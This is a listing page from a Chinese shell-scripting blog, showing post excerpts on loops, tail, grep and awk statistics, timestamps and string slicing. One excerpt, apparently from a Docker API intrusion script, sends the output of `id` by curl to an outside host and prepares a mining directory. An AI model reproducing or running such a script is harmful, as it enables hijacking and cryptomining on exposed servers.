今日:0  |  文章:73
admin
小绿叶技术博客 Lv2 超级管理员

shell for双循环

#!/bin/bashecho "参加面试"a=(aaaaaaaaabbbbbbbbb)echo ${#a[*]}for((i=0;i<=${#a[*]};i++))    do        for j in ${a[$i]}        do            echo "正在打印数组 当前是第 $i 个数组 为:" $j 
 
 1825   2021-06-02
admin
小绿叶技术博客 Lv2 超级管理员

linux tail tac 命令

tail notes.log         # 默认显示最后 10 行-f # 循环读取,文件的增长情况-q # 不显示处理信息-v # 显示详细的处理信息-c # <数目> 显示的字节数-n # <行数> 显示文件的尾部 n 行内容--pid=PID # 与-f合用,表示在进程ID,PID死掉之后结束-q, --quiet, --silent  # 从不输出给出文件名的首部-s,
 
 1540   2021-06-01
admin
小绿叶技术博客 Lv2 超级管理员

在字段块 修改指定内容 grep 匹配字符向下选择多行

setfile="1.log"                              # 定义一个文件变量,为指定文件setn=(`cat -n $setfile | grep -A 2 -w "\[AAADB\]" | grep "BACKUPFLAG" | awk -F" " '{print $1}'`)      &n
 
 1540   2021-05-27
admin
小绿叶技术博客 Lv2 超级管理员

docker api 漏洞入侵控制shell脚本

#!/bin/bashus=$(id)curl "http://oracle.zzhreceive.top/b2f628/idcheck/$us" >>/dev/nullulimit -n 65535export MOHOME=/usr/sharemkdir $MOHOME -pif [ -f "$MOHOME/[crypto].log" ]then    echo "process possible running"    current=$(date
 
 1397   2021-05-27
admin
小绿叶技术博客 Lv2 超级管理员

shell 用脚本来实现数据统计

#!/bin/bashcat `ls | grep SDU` | awk -F" " '{print $1}' |sort | uniq -c | awk -F" " '{print $2}' > name.txt                                         
 
 1167   2021-05-08
admin
小绿叶技术博客 Lv2 超级管理员

shell 统计三张班级学生各科目成绩表数据求和总分数并排名前50名

#!/bin/bashcat `ls | grep "SDU"` | awk -F" " '{print $1}' |sort | uniq -c | awk -F" " '{print $2}' > name.txt                                        &nb
 
 1135   2021-05-07
admin
小绿叶技术博客 Lv2 超级管理员

shell 将文本内容相同名字分组计数

cat 1.txt |sort |uniq -c                                        # sort 分组                       
 
 840   2021-05-07
admin
小绿叶技术博客 Lv2 超级管理员

shell日期时间和时间戳的转换

时间戳毫秒是16位数,秒是13位 (删除毫秒末尾后3位为秒)1633317311766 #--- 打印字符串长度 ----#a="123456789" ; echo ${a: 3: 4-2}   # echo ${ }  是计算函数,所以:4-2 等于2   如果为负数是倒数,需要添加空格指定                       
 
 1301   2021-04-26
admin
小绿叶技术博客 Lv2 超级管理员

seq 生成序列-shell基础

seq -f "%g" 0 9        # 生成0到9的整数,%g  意义:没有格式  # -f  format 格式      use printf style floating-point FORMAT # -s separator 字符串    用指定的字符串分割各序列值,默认分隔符为\n  # -w equal-width&nb
 
 1073   2021-04-21
admin
小绿叶技术博客 Lv2 超级管理员

shell 截取字符串 指定范围字符串 查找删除替换

a="123456789" ; echo ${a: 3: 4-2}   # echo ${ }  是计算函数,所以:4-2 等于2   如果为负数是倒数,需要添加空格指定                                         
 
 860   2021-04-21
头像

用户名:

粉丝数:

签名:

资料 关注 好友 消息